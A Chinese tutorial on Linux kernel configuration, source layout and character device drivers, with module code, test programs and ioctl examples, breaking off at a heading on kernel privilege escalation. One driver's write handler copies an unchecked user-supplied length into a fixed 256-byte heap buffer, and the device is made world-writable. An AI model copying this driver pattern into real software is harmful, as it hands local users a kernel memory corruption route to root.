暂无相关内容

内核配置选项

1、编译相关文件 ● Makefile ⽂件:它的作⽤是根据配置的情况,构造出需要编译的源⽂件列表,然后分别编译,并把⽬标代码链接到⼀起,最终形成Linux内核⼆进制⽂件。由于Linux内核源代码是按照树形结构组织的,所以Makefile也被分布在⽬录树中。 ● Kconfig ⽂件:它的作⽤是为⽤⼾提供⼀个层次化的配置选项集。make menuconfig 命令通过分布在各个⼦⽬录中的Kconfig ⽂件构建配置⽤⼾界⾯。 ● 配置⽂件(.config):当⽤⼾配置完后,将配置信息保存在.config ⽂件中。 ● 配置⼯具:包括配置命令解释器和配置⽤⼾界⾯。 当执⾏menuconfig 命令时,配置程序会依次从⽬录由浅⼊深查找每⼀个Kbuild⽂件,依照这个⽂件中的数据⽣成⼀个配置菜单。Kbuild像是⼀个分布在各个⽬录中的配置数据库,通过这个数据库可以⽣成配置菜单。在配置菜单中根据需要配置完成后会在主⽬录下⽣成⼀个.config⽂件,此⽂件保存了配置信息。然后执⾏make命令,会依赖⽣成的.config⽂件,以确定哪些功能将编译⼊内核中,哪些功能不编译⼊内核中。然后递归地进⼊每⼀个⽬录,寻找Makefile⽂件,编译相应的代码。 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/0533c6fdcac01d19e267851b5042daf1.png) 2、相关配置 ● 常规配置: 包含关于内核的⼤量配置,(代码成熟度、版本信息、模块配置) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/6dc907e45e8f8a90a0c369d9e9fcf537.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/dfbb1c7e6af25798112d737c8ff2acd5.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/cc8ae0913c4b97657751fb71d8208497.jpg) 模块配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/46783b0819d266e5675d637520468182.png) ● 块设备层配置:包含对系统使⽤的块设备的配置,主要包含调度器的配置,硬盘设备的配置。 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/1216573034c5542a258af808f966a14b.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/1c0d7d35679881c8c4c7fc1ba8f36939.jpg) ● CPU类型和特性配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/b2c6656b28c0cb64a6509ee88d8c8393.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/49918041a85227d3b9d265287418f516.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/fb1dea697ec0725e563f9252de13f5d0.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/1934d508bc8d4f8665d8ada66c9162eb.jpg) ● 电源管理配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/e2dff1ddf4b19301cc2c10578b266714.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/3f763e47c16b8ad9a0d962e2ca75da5d.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/0b553f49859eb2d61cc174cec6910c98.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/bf62d9216e148e6c05346f2e6636c833.jpg) ● ⽹络配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/96761377c3c186209db2abcc034efa34.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/dd9450be3c8cabd7d4a49406ccb44c2c.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/7009aafa1e67a35d7a1a6c8831b39a6e.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/2b6224a9e3138542d215e6db023fa310.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/146307f4788d51899dd4cc1036a33068.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/2d97291b61944b7b8f1704300d200aae.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/74733174a34770fe04ec53b04eec5c62.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/ad0a7273c477f90b099bffdbd1ac4eff.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/064284fef778d10915555d7ea3b117da.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/e506e26d5ba1ab8c57f2389bc688ccbf.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/8d896f332097fa6fc923c7a396d49883.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/07f7f95b2ec08534c56ec1c4a65fad83.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/2c4040d7dc257a091831353ae7aaa51d.png) ● 多媒体设备驱动配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/71adc6f5ac08824d9a8ff94439163612.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/e7541caa05c51d7f6163b216e29e4c7c.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/8b23d3c5ca43476375ddfa4653274554.jpg) ● USB设备驱动配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/ea6a70d93a8f0abe3788953bbf06e836.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/ba9e08b2f28706dc688edbad83f5ad9b.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/7a907d3c56c20545121278bd9c2c7c01.png) ● ⽂件系统配置: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/cec784032918b618da366117bb4d5230.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/cd6984d0d6d0fcb884335a0c630c7891.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/46674819dac167fcf46029be266510b7.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/5b04943c0791635b595d818d5f1f79f7.png)

源码结构分析

1、arch⽬录 包含与体系结构相关的代码,每⼀种平台都有⼀种相应的⽬录。 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/4b88537ea9020b25fff6629da04801b1.png) 2、drivers⽬录 包含了Linux内核⽀持的⼤部分驱动程序 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/7b6b6025e98fe4213406c01293bd8f70.jpg) 3、fs⽬录 所有⽂件系统相关的代码。 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/399e810f72c0a8bcb0ff7d06fa5dbc3d.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/e2790034f3e65b0151299e57205efbde.png) 4、其他⽬录 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/853a68a1d9b169ce2b1d3143dcac7ac3.jpg) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/065583e813c8139456578e5e92b5c68f.png)

设备驱动的基本概念

设备驱动程序(Device Driver),简称驱动程序(Driver)。它是⼀个允许计算机软件与硬件交互的程序。这种程序建⽴了⼀个硬件与硬件,或硬件与软件沟通的界⾯。CPU经由主板上的总线(Bus)或其他沟通⼦系统(Subsystem)与硬件形成连接,这样的连接使得硬件设备之间的数据交换成为可能。驱动程序是提供硬件到操作系统的⼀个接⼝,并且协调⼆者之间的关系。 计算机系统的主要硬件由CPU、存储器和外部设备组成。驱动程序的对象⼀般是存储器和外部设备。Linux将这些设备分为3⼤类,分别是字符设备、块设备、⽹络设备。 1、字符设备 字符设备是指那些能⼀个字节⼀个字节读取数据的设备,如LED灯、键盘、⿏标等。字符设备⼀般需要在驱动层实现open()、close()、read()、write()、ioctl()等函数。这些函数最终将被⽂件系统中的相关函数调⽤。内核为字符设备对应⼀个⽂件,/dev/console。对字符设备的操作可以⽤个字符设备⽂件/dev/console来进⾏。 2、块设备 在linux系统中,进⾏块设备读写时,每次只能传输⼀个或者多个块。 3、⽹络设备 ⽹络设备主要负责主机之间的数据交换 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/712dd75301883d09ef3c5513a7dd04fc.png) 4、⽤⼾态和内核态: ⽤⼾态处理上层的软件⼯作。 内核态⽤来管理⽤⼾态的程序,完成⽤⼾态请求的⼯作。 5、模块机制 模块是可以在运⾏时加⼊内核的代码。模块在内核启动时装载称为静态装载,在内核已经运⾏时装载称为动态装载。 6、驱动开发需掌握的知识: ● C语言开发 ● 硬件基础。不要求设计电路,但对芯⽚⼿册上描述的接⼝设备有清楚的认识。⽐如SRAM、Flash、UART、IIC、USB等。 ● Linux内核源代码。⼀些重要的数据结构和函数。 ● 多任务程序设计的能⼒。 7、驱动开发与应⽤开发的差异: ● 内核及驱动程序开发时不能访问C库。因为C库是使⽤内核中的系统调⽤来实现的,⽽且是在⽤⼾空间实现的。 ● 内核及驱动程序开发时必须使⽤GNU C,因为Linux从⼀开始就使⽤GNU C。 ● 内核⽀持异步终端、抢占和SMP,故必须注意同步和并发。 ● 内核只有⼀个很⼩的定⻓堆栈。 ● 内核及驱动程序开发时缺乏像⽤⼾空间那样的内存保护机制。 ● 内核及驱动程序开发时浮点数很难使⽤,应该使⽤整形数。 ● 内核及驱动程序开发要考虑可移植性。

字符设备模块

字符设备驱动是一种在不使用缓冲区高速缓存的情况下一次读取和写入一个字符数据的驱动程序,例如:键盘、声卡、打印机驱动程序。 此外还有块设备和网络驱动程序: ● 块设备驱动程序允许通过缓冲区告诉缓存和块单元中的I/O进行随机访问,例如硬盘。 ● 网络设备驱动程序位于网络堆栈和网络硬件之间,负责发送和接受数据,例如以太网、网卡。 file_operations结构是为字符设备、块设备驱动程序与通用程序之间的通信提供的接口。可以使用结构体内的函数指针,例如:read, write, open, release, unlocked_ioctl。而网络设备不使用file_operations 结构,应当使用include/linux/netdevice.h中的net_device结构体。 下面是Linux 5.11的file_operations结构体内容: ``` struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*read_iter) (struct kiocb *, struct iov_iter *); ssize_t (*write_iter) (struct kiocb *, struct iov_iter *); int (*iopoll)(struct kiocb *kiocb, bool spin); int (*iterate) (struct file *, struct dir_context *); int (*iterate_shared) (struct file *, struct dir_context *); __poll_t (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); unsigned long mmap_supported_flags; int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t, loff_t, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **, void **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); void (*show_fdinfo)(struct seq_file *m, struct file *f); #ifndef CONFIG_MMU unsigned (*mmap_capabilities)(struct file *); #endif ssize_t (*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int); loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in, struct file *file_out, loff_t pos_out, loff_t len, unsigned int remap_flags); int (*fadvise)(struct file *, loff_t, loff_t, int); } __randomize_layout; ``` 使用下面的方式绑定设备模块中的open函数,在使用open系统调用时内核会输出“chardev_open”: ``` static int chardev_open(struct inode *inode, struct file *file) { printk("chardev_open"); return 0; } struct file_operations chardev_fops = { .open = chardev_open, }; ``` **一个简单的例子** 环境信息: ``` ➜ ~ uname -a Linux unravel 5.11.0-43-generic #47~20.04.2-Ubuntu SMP Mon Dec 13 11:06:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ➜ ~ gcc --version gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 ➜ ~ make --version GNU Make 4.2.1 ``` 编写如下模块源码,保存为chardev.c: ``` #include #include #include #include #include #include #include #include #include #include #include #define DEVICE_NAME "chardev" #define DEVICE_FILE_NAME "chardev" #define MAJOR_NUM 100 MODULE_LICENSE("GPL"); static int chardev_open(struct inode *inode, struct file *file) { printk("chardev_open"); return 0; } struct file_operations chardev_fops = { .open = chardev_open, }; static int chardev_init(void) { int ret_val; ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &chardev_fops); if (ret_val < 0) { printk(KERN_ALERT "%s failed with %d\n", "Sorry, registering the character device ", ret_val); return ret_val; } printk(KERN_INFO "%s The major device number is %d.\n", "Registeration is a success", MAJOR_NUM); printk(KERN_INFO "If you want to talk to the device driver,\n"); printk(KERN_INFO "you'll have to create a device file. \n"); printk(KERN_INFO "We suggest you use:\n"); printk(KERN_INFO "mknod %s c %d 0\n", DEVICE_FILE_NAME, MAJOR_NUM); printk(KERN_INFO "The device file name is important, because\n"); printk(KERN_INFO "the ioctl program assumes that's the\n"); printk(KERN_INFO "file you'll use.\n"); return 0; } static void chardev_exit(void) { unregister_chrdev(MAJOR_NUM, DEVICE_NAME); } module_init(chardev_init); module_exit(chardev_exit); ``` 关于这段代码: ● chardev_init函数在注册时执行。在这个函数中,register_chrdev函数注册对应字符设备的主设备号。 ● 当在用户空间使用open系统调用时会调用chardev_open函数。chardev_open函数会让内核输出一条信息。 ● chardev_exit函数在模块从内核删除时调用,对应的主设备号由unregister_chrdev函数删除。 编写Makefile: make后会得到驱动文件chardev.ko和一些其他文件: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/4bf37b51422f0cc5fa68230e369278f1.png) 然后测试使用insmod装载模块并用dmesg查看内核输出的信息: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/ad7c6050e9b963fa7eba2c4a12c64c80.png) 接下来我们创建设备文件,然后测试open系统调用是否触发内核输出“chardev_open”。步骤如下: ● 使用mknod命令将加载的模块创建为设备文件。这里介绍一下mknod命令的用法: ● ● 基本格式:mknod <设备文件名> <设备文件格式> <主设备号> <次设备号> ● ● 设备文件格式有三种:p(FIFO先进先出)、b(block device file 块设备文件)、c和u(character special file字符特殊文件,无缓冲的特殊文件) ● ● 主设备号和次设备号:主设备号是分配给块设备或字符设备的数字;次设备号是分配给由MAJOR限定的字符设备组之一的编号。简单来说就是可以用这两个数字来识别设备。 ● 使用chmod命令配置普通用户的读写权限。 ● 使用echo命令打开设备文件,保存“A”,很明显它不会被保存,我们目的只是触发一个open系统调用。 ● 使用dmesg检查内核是否输出字符串。也就是说,可以通过echo命令操作chardev_open函数。 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/6b262f20339c4fe58f9d2ccf8c09e6d8.png) ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/9d7b34c8d67b4777e53500aed3251da6.png) **另一个例子** 这次在file_operations绑定更多的函数:open, release, read, write。 ``` #include #include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 256 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); struct file_operations chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); } return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_open(struct inode *inode, struct file *file) { char *str = "helloworld"; int ret; struct data *p = kmalloc(sizeof(struct data), GFP_KERNEL); printk("The chardev_open() function has been called."); if (p == NULL) { printk(KERN_ERR "kmalloc - Null"); return -ENOMEM; } ret = strlcpy(p->buffer, str, sizeof(p->buffer)); if(ret > strlen(str)){ printk(KERN_ERR "strlcpy - too long (%d)",ret); } file->private_data = p; return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { struct data *p = filp->private_data; printk("The chardev_write() function has been called."); printk("Before calling the copy_from_user() function : %p, %s",p->buffer,p->buffer); if (copy_from_user(p->buffer, buf, count) != 0) { return -EFAULT; } printk("After calling the copy_from_user() function : %p, %s",p->buffer,p->buffer); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { struct data *p = filp->private_data; printk("The chardev_read() function has been called."); if(count > BUFFER_SIZE){ count = BUFFER_SIZE; } if (copy_to_user(buf, p->buffer, count) != 0) { return -EFAULT; } return count; } module_init(chardev_init); module_exit(chardev_exit); ``` 源码解读: ● 内核注册模块时调用chardev_init ,它处理以下函数: ● ● 使用alloc_chrdev_region函数在系统中注册字符设备号(与上一节给定的设备号100不同,我们应该让内核来分配设备号)。 ● ● 使用major和mkdev函数来获取在设备中使用的主设备号和次设备号。 ● ● 使用cdev_init函数初始化chardev_cdev结构。 ● ● 使用cdev_add函数将字符设备添加到系统。 ● ● 使用class_create函数创建要在系统中创建的设备类。 ● ● 使用device_create函数在系统中创建设备。 ● 内核删除模块时调用chardev_exit,它处理以下函数: ● ● 使用device_destroy函数销毁由device_create函数创建的设备 ● ● 使用class_destroy函数销毁由class_create函数创建的设备类 ● ● 使用cdev_del函数删除cdev_add函数添加的字符设备 ● ● 使用unregister_chrdev_region函数将alloc_chrdev_region函数注册的设备号返还给系统 ● 在用户态使用open系统调用,都会调用chardev_open,它处理以下函数: ● ● 使用kmalloc函数在内核堆中分配一个与data结构体大小相同的空间 ● ● 使用strcpy函数将str变量中的值复制到p->buffer中 ● 在用户态关闭设备时调用chardev_release,它处理以下函数: ● ● 使用kfree释放分配的堆区域 ● 在用户态向设备写入数据时调用chardev_write,它处理以下函数: ● ● 使用copy_from_user从用户空间接受数据,从buf复制到p->buffer ● 当从设备向用户空间写入数据时调用chardev_read,它处理以下函数: ● ● 使用copy_to_user函数将存储在内核区域p->buffer的内容拷贝到用户空间的buf中 Makefile如下: ``` obj-m := chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean ``` 这次需要使用C代码来调用模块接口。编写如下测试程序test.c: ``` #include #include #include #include #include #define TEXT_LEN 12 int main() { static char buff[256]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (write(fd, "unr4v31", TEXT_LEN) < 0){ printf("Cannot write there.\n"); } if (read(fd, buff, TEXT_LEN) < 0){ printf("An error occurred in the read.\n"); }else{ printf("%s\n", buff); } if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } ``` 现在make一下模块文件: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/83cb34f608e3db5e3a4fb198cc6b054c.png) 在将模块注册到内核之前,先将注册模块时自动创建的设备文件的规则保存到/etc/udev/rules.d路径下(需要root权限): ``` echo 'KERNEL == "chardev[0-9]*",GROUP="root",MODE="0666"' >> /etc/udev/rules.d/80-chardev.rules ``` ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/fb006b7b0400c454ef51c178cf307f87.png) 当使用insmod注册模块时,会在/dev路径下自动创建两个设备chardev0和chardev1,这两个设备的权限是666,普通用户也可以访问: ``` sudo insmod chardev.ko ``` ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/bbacc941d03c2c1c5ff37ec4ecb05893.png) 或者以另一种方式来测试模块文件。编写如下代码为test1.c: ``` #include #include #include #include #include int main() { static char buff[256]; int fd0_A, fd0_B, fd1_A; if ((fd0_A = open("/dev/chardev0", O_RDWR)) < 0) perror("open"); if ((fd0_B = open("/dev/chardev0", O_RDWR)) < 0) perror("open"); if ((fd1_A = open("/dev/chardev1", O_RDWR)) < 0) perror("open"); if (write(fd0_A, "0_A", 4) < 0) perror("write"); if (write(fd0_B, "0_B", 4) < 0) perror("write"); if (write(fd1_A, "1_A", 4) < 0) perror("write"); if (read(fd0_A, buff, 4) < 0) perror("read"); printf("%s\n", buff); if (read(fd0_B, buff, 4) < 0) perror("read"); printf("%s\n", buff); if (read(fd1_A, buff, 4) < 0) perror("read"); printf("%s\n", buff); if (close(fd0_A) != 0) perror("close"); if (close(fd0_B) != 0) perror("close"); if (close(fd1_A) != 0) perror("close"); return 0; } ``` 编译运行后,从test1的运行结果得知,相同的模块或相同的设备,但用于存储传递的字符串的堆地址不同: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/9776d2d520d627ebe472c53d1e5887f2.png) **ioctl(Input/Output control)** ioctl是一种用于获取硬件控制和状态信息的操作。通过read和write可以实现数据读写等功能,但无法检查硬件控制和状态信息,例如SPI通信速度、I2C等不能仅通过读写操作完成。例如CD-ROM设备驱动程序提供了一个ioctl请求代码,可以使物理设备弹出磁盘。 ioctl函数原型如下: ``` #include int ioctl(int d, int request, ...); ``` 参数fd是从open函数获得的文件描述符;request是传递给设备的命令;除此之外还可以根据开发人员的设置创建其他参数。其他更多的描述可以查看manpage。 ``` Linux头文件/usr/include/asm/ioctl.h定义了该用来写ioctl命令的宏。可以使用如下宏命令形式: _IO(int type, int number) /* type, number用于简单的ioctl传递 */ _IOR(int type, int number, data_type) /* 用于从设备驱动程序读取数据 */ _IOW(int type, int number, data_type) /* 用于从设备驱动程序写入数据 */ _IORW(int type, int number, data_type) /* 用于从设备驱动程序写入和读取数据 */ ``` 宏的参数值由以下形式组成: ● type:为设备驱动程序选择的唯一的整数,必须与其他设备驱动的数值不同来避免驱动程序冲突,例如,TCP和IP堆栈具有唯一编号,因此可以在两个堆栈上检查从内核内部作为套接字文件描述符发送的ioctl ● number :一个整数,必须为其选择唯一的编号。 ● data_type :用于计算客户端和驱动程序之间交换的字节数的类型名称。 可以像下面这样定义ioctl宏: ``` struct ioctl_info{ unsigned long size; unsigned int buf[128]; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 , ioctl_info ) #define GET_DATA _IOR(IOCTL_MAGIC, 3 , ioctl_info ) ``` ● SET_DATA是一个可以输入、输出和写入数据的宏 ● GET_DATA是一个可以输入、输出和读取数据的宏 可以使用以下宏检查定义的命令宏的字段值: ``` _IOC_NR() /* 读取number字段值的宏 */ _IOC_TYPE() /* 读取type字段值的宏 */ _IOC_SIZE() /* 读取data_type字段的宏 */ _IOC_DIR() /* 读取和写入属性字段值的宏 */ ``` **例子** 现在编写测试用例。我们把头文件和C代码分开来,chardev.h头文件内容编写如下: ``` #ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include struct ioctl_info{ unsigned long size; char buf[128]; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #endif ``` C文件代码如下,保存为chardev.c: ``` #include #include #include #include #include #include #include #include #include #include #include #include "chardev.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called."); return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called."); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called."); return count; } static struct ioctl_info info; static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { printk("The chardev_ioctl() function has been called."); switch (cmd) { case SET_DATA: printk("SET_DATA\n"); if (copy_from_user(&info, (void __user *)arg, sizeof(info))) { return -EFAULT; } printk("info.size : %ld, info.buf : %s",info.size, info.buf); break; case GET_DATA: printk("GET_DATA\n"); if (copy_to_user((void __user *)arg, &info, sizeof(info))) { return -EFAULT; } break; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit); ``` 源码解读: ● 在头文件中,定义了宏: SET_DATA设置为_IOW(输入、输出、写入),参数类型设置为结构体ioctl_info SET_DATA设置为_IOR(输入、输出、读取),参数值类型设置为结构体ioctl_info ● 在用户空间打开设备,调用ioctl时,会调用chardev_ioctl,它处理以下函数: 如果cmd的值为SET_DATA,则使用copy_from_user函数,从用户空间接受到的数据复制到info结构体变量中 如果cmd的值为GET_DATA,则使用copy_to_user函数,将存储在内核区的info结构体变量数据复制到用户空间中 Makefile如下: ``` obj-m := chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean ``` **测试程序** 编写如下测试程序,用于调用上面的模块接口,保存为test.c: ``` #include #include #include #include #include #include #include #include "chardev.h" int main() { int fd; struct ioctl_info set_info; struct ioctl_info get_info; set_info.size = 100; strncpy(set_info.buf,"unr4v31",11); if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd, SET_DATA, &set_info) < 0){ printf("Error : SET_DATA.\n"); } if (ioctl(fd, GET_DATA, &get_info) < 0){ printf("Error : SET_DATA.\n"); } printf("get_info.size : %ld, get_info.buf : %s\n", get_info.size, get_info.buf); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } ``` 测试程序工作原理: ● 使用open函数打开/dev/chardev0文件获取fd值 ● 使用ioctl函数将存储在用户空间的数据复制到内核,&set_info是SET_DATA将要传输的参数 ● 使用ioctl函数将存储在内核的数据复制到用户空间,&get_info是GET_DATA将要传输的参数 ● 使用printf在用户空间打印在内核空间复制出来的数据 ● 使用close函数关闭fd 接下来编译模块文件、测试程序并运行它们: ``` make gcc -o test test.c sudo insmod chardev.ko ./test ``` 观察运行结果,可以看到ioctl的调用过程: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/67539becb471f6fe27f74595d2adc755.png) **创建内核模块进行提权** 对于Kernel Exploit,需要了解两个函数:prepare_kernel_cred和commit_creds 